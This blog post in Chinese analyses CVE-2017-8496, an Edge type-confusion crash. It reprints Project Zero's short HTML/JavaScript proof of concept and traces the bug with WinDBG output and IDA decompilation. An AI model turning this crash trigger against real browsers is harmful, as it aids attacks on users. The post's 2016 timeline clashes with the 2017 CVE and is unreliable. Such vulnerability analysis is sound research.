美文网首页
CVE-2017-8496 Microsoft Edge: Ty

CVE-2017-8496 Microsoft Edge: Ty

作者: lilyui | 来源:发表于2017-08-14 06:45 被阅读47次

    1. Vulnerability Description

    1.1 The Issue

    崩溃发生在CAttrArray::PrivateFindInl函数中。 在函数中rcx(this)指针应该指向一个CAttrArray,但它实际上指向一个CAttribute。
    CAttrArray::PrivateFindInl只会执行读取操作,其返回值将被调用函数(CAttrArray::SetParsed)抛弃。

    1.2 Affect version

    Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198)
    Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

    1.3 Timeline

    01/12/2016 Advisory disclosed
    01/12/2016 +0 days Countermeasure disclosed
    01/12/2016 +0 days SecurityTracker entry created
    01/12/2016 +0 days VulnerabilityCenter entry assigned
    01/13/2016 +1 days VulnerabilityCenter entry created
    01/14/2016 +1 days VulDB entry created
    01/17/2016 +3 days VulnerabilityCenter entry updated
    01/19/2016 +2 days VulDB last update

    2. Technical description and PoC

    2.1 Crash

    从Google Project Zero的报告中获取的PoC如下

    <!-- saved from url=(0014)about:internet -->
    <script>
    function go() {
      window.addEventListener("DOMAttrModified", undefined);
      m.style.cssText = "clip-path: url(#foo);";
    }
    </script>
    <body onload=go()>
    <meter id="m" value="a" frame="below">
    

    WinDBG attach到Edge上,运行PoC,发现Crash(注:这里用了一款Edge专用的辅助Debug的工具,可以比较方便的在命令行直接attach到进程上。)

    edgehtml!CAttrArray::PrivateFindInl+0xd6:
    00007ffa`3b9e04b6 41f644d00380    test    byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??
    

    可以看出,这里是引用了一个无效的指针,此时的调用栈如下

    1:048> k
     # Child-SP          RetAddr           Call Site
    00 00000013`84bfad60 00007ffa`3bbaccc9 edgehtml!CAttrArray::PrivateFindInl+0xd6
    01 00000013`84bfad90 00007ffa`3bb1a68b edgehtml!CAttrArray::SetParsed+0x49
    02 00000013`84bfae00 00007ffa`3bb1c40c edgehtml!CssParser::RecordProperty+0x24b
    03 00000013`84bfae70 00007ffa`3bb1b10c edgehtml!CssParser::HandleSingleDeclaration+0x21c
    04 00000013`84bfaef0 00007ffa`3bae026b edgehtml!CssParser::HandleDeclaration+0x9c
    05 00000013`84bfaf20 00007ffa`3badedaa edgehtml!CssParser::Write+0x3b
    06 00000013`84bfaf60 00007ffa`3b93165c edgehtml!ProcessCSSText+0x112
    07 00000013`84bfafe0 00007ffa`3b94aae3 edgehtml!CStyle::SetCssText+0xbc
    08 00000013`84bfb020 00007ffa`3bc2ed85 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
    09 00000013`84bfb070 00007ffa`3af6c35b edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
    0a 00000013`84bfb0a0 00007ffa`3af34460 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b
    0b 00000013`84bfb180 00007ffa`3aed6d09 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
    0c 00000013`84bfb1d0 00007ffa`3aed44ae chakra!Js::JavascriptOperators::CallSetter+0xa9
    0d 00000013`84bfb270 00007ffa`3aed4be2 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
    0e 00000013`84bfb330 00007ffa`3aed4b1f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
    0f 00000013`84bfb380 00007ffa`3af8c1fb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
    10 00000013`84bfb400 00007ffa`3aec1ca0 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
    11 00000013`84bfb4d0 00007ffa`3aec6a50 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
    12 00000013`84bfb520 00007ffa`3aec4aa2 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
    13 00000013`84bfb5b0 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x142
    14 00000013`84bfb610 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
    15 00000013`84bfb950 00000176`dcdc0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
    16 00000013`84bfb9a0 00007ffa`3aff1393 0x00000176`dcdc0fb2
    17 00000013`84bfb9d0 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
    18 00000013`84bfba20 00007ffa`3aec0490 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
    19 00000013`84bfba80 00007ffa`3aec4f4d chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
    1a 00000013`84bfbad0 00007ffa`3aec4b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
    1b 00000013`84bfbb60 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x1a7
    1c 00000013`84bfbbc0 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
    1d 00000013`84bfbf00 00000176`dcdc0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
    1e 00000013`84bfbf50 00007ffa`3aff1393 0x00000176`dcdc0fba
    1f 00000013`84bfbf80 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
    20 00000013`84bfbfd0 00007ffa`3af2c2ec chakra!Js::JavascriptFunction::CallFunction<1>+0x83
    21 00000013`84bfc030 00007ffa`3af2b8b6 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
    22 00000013`84bfc120 00007ffa`3afd6259 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
    23 00000013`84bfc190 00007ffa`3af31d41 chakra!ScriptSite::CallRootFunction+0xb5
    24 00000013`84bfc230 00007ffa`3af2d8fc chakra!ScriptSite::Execute+0x131
    25 00000013`84bfc2c0 00007ffa`3bb3278d chakra!ScriptEngineBase::Execute+0xcc
    26 00000013`84bfc360 00007ffa`3bb326d8 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
    27 00000013`84bfc3b0 00007ffa`3bb431f7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
    28 00000013`84bfc3f0 00007ffa`3bb42fe7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
    29 00000013`84bfc570 00007ffa`3bb310da edgehtml!CListenerDispatch::Invoke+0xdb
    2a 00000013`84bfc5f0 00007ffa`3bbc1602 edgehtml!CEventMgr::_InvokeListeners+0x2ca
    2b 00000013`84bfc750 00007ffa`3ba9a495 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
    2c 00000013`84bfc780 00007ffa`3ba99f23 edgehtml!CEventMgr::Dispatch+0x405
    2d 00000013`84bfca50 00007ffa`3bad00c2 edgehtml!CEventMgr::DispatchEvent+0x73
    2e 00000013`84bfcaa0 00007ffa`3bb0296a edgehtml!COmWindowProxy::Fire_onload+0x14e
    2f 00000013`84bfcbb0 00007ffa`3bb01596 edgehtml!CMarkup::OnLoadStatusDone+0x376
    30 00000013`84bfcc70 00007ffa`3bb46d7f edgehtml!CMarkup::OnLoadStatus+0x112
    31 00000013`84bfcca0 00007ffa`3bb2859d edgehtml!CProgSink::DoUpdate+0x3af
    32 00000013`84bfd130 00007ffa`3bb29d70 edgehtml!GlobalWndOnMethodCall+0x24d
    33 00000013`84bfd230 00007ffa`593e1c24 edgehtml!GlobalWndProc+0x130
    34 00000013`84bfd2f0 00007ffa`593e156c user32!UserCallWinProcCheckWow+0x274
    35 00000013`84bfd450 00007ffa`380ec781 user32!DispatchMessageWorker+0x1ac
    36 00000013`84bfd4d0 00007ffa`380eec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
    37 00000013`84bff720 00007ffa`4f7b9266 EdgeContent!LCIETab_ThreadProc+0x2c1
    38 00000013`84bff840 00007ffa`59d98364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
    39 00000013`84bff870 00007ffa`59f55e91 KERNEL32!BaseThreadInitThunk+0x14
    3a 00000013`84bff8a0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
    

    寄存器的值如下

    1:048> r
    rax=0000000000003ffd rbx=0000000000000002 rcx=00000176d9804cf0
    rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
    rip=00007ffa3b9e04b6 rsp=0000001384bfad60 rbp=0000000000000002
     r8=0000000300000003  r9=00000000800114a4 r10=0000000000000000
    r11=0000000000007ffa r12=00000176d9a9c680 r13=00000176d9734b01
    r14=00000176d9804c88 r15=0000000000000000
    iopl=0         nv up ei pl nz na pe nc
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
    

    在ida中查看相关的代码:

    int __fastcall CAttrArray::PrivateFindInl(__int64 this, int a2, signed int CAttrValue__AATYPE)
    {
        signed int v3; // edi@1
        signed int v4; // er10@1
        int v5; // er9@1
        __int64 this_add_4; // r11@4
        __int64 this_add_8; // r8@4
        signed int v8; // ebx@4
        unsigned __int64 v9; // rax@7
        signed __int64 v10; // rdx@7
        unsigned __int64 v11; // r11@8
        int v12; // ecx@10
        signed int v13; // ecx@16
        __int64 v14; // rsi@22
        int v15; // ecx@23
        signed int v16; // ecx@34
        signed int v17; // esi@38
        signed __int64 v18; // rdx@38
        int v19; // ecx@40
        int v21; // [sp+38h] [bp+10h]@20
    
        v3 = 0;
        v4 = CAttrValue__AATYPE;
        v5 = a2;
        if ( CAttrValue__AATYPE == 6 )
            v4 = 0;
        if ( a2 == -1 )
        {
            v21 = -1;
            LODWORD(v9) = CAttrArray::PrivateFindLinear(this, (unsigned int)v4, &v21, 0xFFFFFFFFi64);
        }
        else
        {
            this_add_4 = *(_DWORD *)(this + 4);
            this_add_8 = *(_QWORD *)(this + 8);
            v8 = 2;
            if ( v4 > 2 )
                v8 = v4;
            if ( (signed int)this_add_4 < 11 )
            {
                v9 = *(_QWORD *)(this + 8);
                v10 = 3 * this_add_4;
                goto LABEL_8;
            }
            if ( (signed int)this_add_4 > 0 )
            {
                while ( 1 )
                {
                    v14 = ((signed int)this_add_4 + v3) / 2;
                    v9 = this_add_8 + 24 * v14;
                    if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )// vuln
                        v15 = *(_DWORD *)(v9 + 8);
                    else
                        v15 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                    if ( a2 < v15 )
                    {
                        LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
                        goto LABEL_26;
                    }
                    if ( a2 > v15 )
                        goto LABEL_30;
                    v16 = *(_BYTE *)v9;
                    if ( v4 == v16 )
                        return v9;
                    if ( v8 >= v16 )
                        break;
                    LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
    LABEL_26:
                    if ( (signed int)this_add_4 - v3 < 10 )
                    {
                        v9 = this_add_8 + 24i64 * v3;
                        goto LABEL_28;
                    }
                    if ( v3 >= (signed int)this_add_4 )
                        goto LABEL_19;
                }
                if ( v8 == 2i64 )
                {
                    v17 = v14 - 1;
                    v18 = v9 - 24;
                    if ( v17 >= v3 )
                    {
                        while ( 1 )
                        {
                            v19 = *(_BYTE *)(v18 + 3) & 0x80 ? *(_DWORD *)(v18 + 8) : *(_DWORD *)(*(_QWORD *)(v18 + 8) + 48i64);
                            if ( v5 != v19 )
                                break;
                            if ( v4 == *(_BYTE *)v18 )
                            {
                                LODWORD(v9) = v18;
                                return v9;
                            }
                            if ( v17 != v3 )
                            {
                                v18 -= 24i64;
                                if ( --v17 >= v3 )
                                    continue;
                            }
                            break;
                        }
                    }
    LABEL_28:
                    v10 = 3i64 * (signed int)this_add_4;
    LABEL_8:
                    v11 = this_add_8 + 8 * v10;
                    if ( v9 < v11 )
                    {
                        while ( 1 )
                        {
                            if ( *(_BYTE *)(v9 + 3) & 0x80 )
                                v12 = *(_DWORD *)(v9 + 8);
                            else
                                v12 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                            if ( v12 >= v5 )
                            {
                                if ( v12 != v5 )
                                    goto LABEL_19;
                                v13 = *(_BYTE *)v9;
                                if ( v13 == v4 )
                                    return v9;
                                if ( v13 > v8 )
                                    goto LABEL_19;
                            }
                            v9 += 24i64;
                            if ( v9 >= v11 )
                                goto LABEL_19;
                        }
                    }
                    goto LABEL_19;
                }
    LABEL_30:
                v3 = v14 + 1;
                goto LABEL_26;
            }
    LABEL_19:
            LODWORD(v9) = 0;
        }
        return v9;
    }
    

    其中引发问题的指令是

    if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )
    

    其中this_add_8变量对应的是 rcx+8

    那么先查看下rcx的值

    1:048> dps rcx
    00000176`d9804cf0  00007ffa`3c562d38 edgehtml!CAttribute::`vftable'
    00000176`d9804cf8  00000003`00000003
    00000176`d9804d00  00000000`00000008
    00000176`d9804d08  00000000`00000000
    00000176`d9804d10  00000000`00000000
    00000176`d9804d18  00000176`dcc18150
    00000176`d9804d20  00007ffa`3c55fae0 edgehtml!s_propdescCElementstyle_Str
    00000176`d9804d28  00000000`800103eb
    00000176`d9804d30  00000176`d9a742f4
    00000176`d9804d38  00000000`00000000
    00000176`d9804d40  00000000`00000000
    00000176`d9804d48  00000000`00000000
    00000176`d9804d50  00000176`d9828500
    00000176`d9804d58  00000176`d98a8580
    00000176`d9804d60  00000176`d9850c00
    00000176`d9804d68  00000176`d983c330
    

    这里rcx是this指针,在CAttrArray::PrivateFindInl这个类的函数中应该是一个CAttrArray对象的this指针,可是这里rcx存了一个CAttribute的虚表对象,也就是说,在之前有一个错误的调用。

    那么根据调用栈继续上溯,我们可以看到CAttrArray::SetParsed函数,调用PrivateFindInl的代码如下

    if ( v6 || (v8 = *a1) == 0i64 || (LODWORD(v9) = CAttrArray::PrivateFindInl((__int64)v8, a2, 0), !v9) )
    {
      v11 = v4;
      v10 = 31;
      CAttrArray::Set(v7, (unsigned int)v5, &v10, 0i64);
    }
    

    也就是说这里如果该函数返回错误的值,那么CAttrArray::Set将不会执行。

    继续向上回溯,查看CssParser::RecordProperty函数

    void __fastcall CssParser::RecordProperty(CssParser *this, struct CssTokenizer *a2, __int32 a3, char a4, bool a5)
    {
        char v5; // si@1
        __int32 v6; // edi@1
        struct CssTokenizer *v7; // r14@1
        CssParser *v8; // rbp@1
        CBase *v9; // rcx@3
        char v10; // bl@4
        bool v11; // r15@4
        bool v12; // al@6
        char v13; // r13@9
        unsigned __int8 v14; // bl@10
        MemoryProtection *v15; // rsi@11
        const unsigned __int16 *v16; // r12@11
        __int32 v17; // er8@13
        __int64 v18; // rcx@18
        const unsigned __int16 *v19; // rdi@18
        unsigned __int64 v20; // rsi@18
        __int64 v21; // rax@18
        __int16 v22; // ax@24
        unsigned __int64 v23; // r14@30
        signed __int64 v24; // r14@31
        const struct PROPERTYDESC *v25; // rax@37
        int v26; // er10@37
        CDoc *v27; // rax@44
        const unsigned __int16 *v28; // rdx@51
        unsigned __int16 *v29[2]; // [sp+20h] [bp-48h]@4
        __int64 v30; // [sp+30h] [bp-38h]@4
        __int32 v31; // [sp+80h] [bp+18h]@1
    
        v31 = a3;
        v5 = a4;
        v6 = a3;
        v7 = a2;
        v8 = this;
        if ( *((_UNKNOWN **)this + 22) == &CCSSStyleDeclaration::s_apHdlDescs && *((_QWORD *)this + 2) )
        {
            v9 = (CBase *)*((_QWORD *)this + 23);
            if ( !v9 )
            {
    LABEL_4:
                v10 = 0;
                v30 = 0i64;
                _mm_storeu_si128((__m128i *)v29, 0i64);
                v11 = v6 == -1;
                v12 = v5 || v11;
                if ( a5 || v12 )
                {
                    v13 = 1;
                    if ( v12 )
                        v10 = -128;
                }
                else
                {
                    v13 = 0;
                }
                v14 = v10 | 8;
                if ( !v13 )
                {
    LABEL_11:
                    v15 = (MemoryProtection *)v29[0];
                    v16 = &g_szEmpty;
                    if ( v11 )
                    {
                        if ( v29[0] )
                            v28 = v29[0];
                        else
                            v28 = &g_szEmpty;
                        if ( CssParser::GetExpandoDispID(v8, v28, &v31) )
                        {
    LABEL_15:
                            if ( v15 )
                                MemoryProtection::HeapFree(v15, (void *)a2);
                            return;
                        }
                        v6 = v31;
                    }
                    if ( v6 != -1 )
                    {
                        v17 = *((_DWORD *)v8 + 7) + 1;
                        if ( (unsigned int)v17 > *((_DWORD *)v8 + 6) >> 2 )
                        {
                            if ( v17 < 0 )
                            {
                                Abandonment::InvalidArguments();
                                JUMPOUT(*(_QWORD *)&byte_18042A78B);
                            }
                            CImplAry::EnsureSizeWorker((CssParser *)((char *)v8 + 24), 4ui64, v17);
                        }
                        *(_DWORD *)(*((_QWORD *)v8 + 4) + 4i64 * (*((_DWORD *)v8 + 7))++) = v6;
                        if ( v13 )
                        {
                            if ( v11 )
                            {
                                CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
                            }
                            else
                            {
                                v25 = GetStandardPropDescFromAliasDISPID(v31);
                                if ( v25 )
                                    v26 = *((_DWORD *)v25 + 12);
                                if ( v15 )
                                    v16 = (const unsigned __int16 *)v15;
                                CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);
                            }
                        }
                    }
                    goto LABEL_15;
                }
                v18 = *((_QWORD *)v7 + 1);
                v19 = (const unsigned __int16 *)*((_QWORD *)v7 + 5);
                v20 = v18 + 2i64 * *((_DWORD *)v7 + 5);
                v21 = *((_DWORD *)v7 + 4);
                if ( v20 > v18 + 2 * v21 )
                    v20 = v18 + 2 * v21;
                if ( !v11 )
                {
                    if ( (unsigned __int64)v19 >= v20 )
                    {
    LABEL_31:
                        v24 = (signed __int64)(v20 - (_QWORD)v19) >> 1;
                        if ( !v11 && (unsigned int)v24 >= 0xA && !StrCmpNICW(v20 - 20, L"!important", 10i64) )
                        {
                            LODWORD(v24) = v24 - 10;
                            v14 |= 2u;
                        }
                        CBuffer::Append((CBuffer *)v29, v19, v24);
                        CBuffer::TrimTrailingWhitespace((CBuffer *)v29);
                        v6 = v31;
                        goto LABEL_11;
                    }
                    if ( 58 == *v19 )
                        ++v19;
                    v22 = *(_WORD *)(v20 - 2);
                    if ( v22 == 59 || !v22 || v22 == 125 )
                        v20 -= 2i64;
                }
                if ( (unsigned __int64)v19 < v20 )
                {
                    while ( IsCharSpaceW(*v19) )
                    {
                        ++v19;
                        if ( (unsigned __int64)v19 >= v20 )
                            goto LABEL_31;
                    }
                    if ( (unsigned __int64)v19 < v20 )
                    {
                        do
                        {
                            v23 = v20 - 2;
                            if ( !IsCharSpaceW(*(_WORD *)(v20 - 2)) )
                                break;
                            v20 -= 2i64;
                        }
                        while ( (unsigned __int64)v19 < v23 );
                    }
                }
                goto LABEL_31;
            }
            v27 = CBase::GetCDoc(v9);
            if ( !v27 || CDoc::CheckCSSDiagnosticsAvailability(v27) )
            {
                v6 = v31;
                goto LABEL_4;
            }
        }
    }
    

    CAttrArray::SetParsed的调用在下面两句:

    CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
    
    CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);
    

    这里v8是this指针,也就是说在这里发生了一次错误的调用,本来应该传入的是CAttrArray,但是传入了一个CAttribute,造成了Type confusion

    3. References

    1. project-zero
    2. nvd
    3. cve
    4. seebug

    相关文章

      网友评论

          本文标题:CVE-2017-8496 Microsoft Edge: Ty

          本文链接:https://www.haomeiwen.com/subject/yeferxtx.html